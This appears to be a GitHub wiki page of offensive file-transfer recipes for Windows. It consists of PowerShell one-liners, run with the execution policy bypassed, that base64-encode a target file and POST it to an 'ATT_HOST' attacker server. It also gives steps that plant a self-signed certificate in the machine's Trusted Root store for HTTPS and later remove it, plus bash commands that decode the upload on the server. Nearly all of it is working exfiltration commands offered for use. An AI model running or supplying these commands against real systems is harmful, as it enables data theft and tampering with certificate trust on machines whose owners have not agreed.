TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • COM object
    • utilises WinHTTP
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User -> Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $ul=(New-Object -ComObject WinHttp.WinHttpRequest.5.1); $ul.open('POST',"http://${ATT_HOST}:$ATT_PORT$ATT_PATH",$false); $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $ul.setRequestHeader('Content-Type', "multipart/form-data; boundary=$boundary"); $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $ul.send($body); $res=$($ul.responseText); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: if using HTTPS, replace http with https

4. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $ul=(New-Object -ComObject WinHttp.WinHttpRequest.5.1); $ul.open('POST',"https://${ATT_HOST}:$ATT_PORT$ATT_PATH",$false); $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $ul.setRequestHeader('Content-Type', "multipart/form-data; boundary=$boundary"); $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $ul.send($body); $res=$($ul.responseText); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

6. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;
⚠️ **GitHub.com Fallback** ⚠️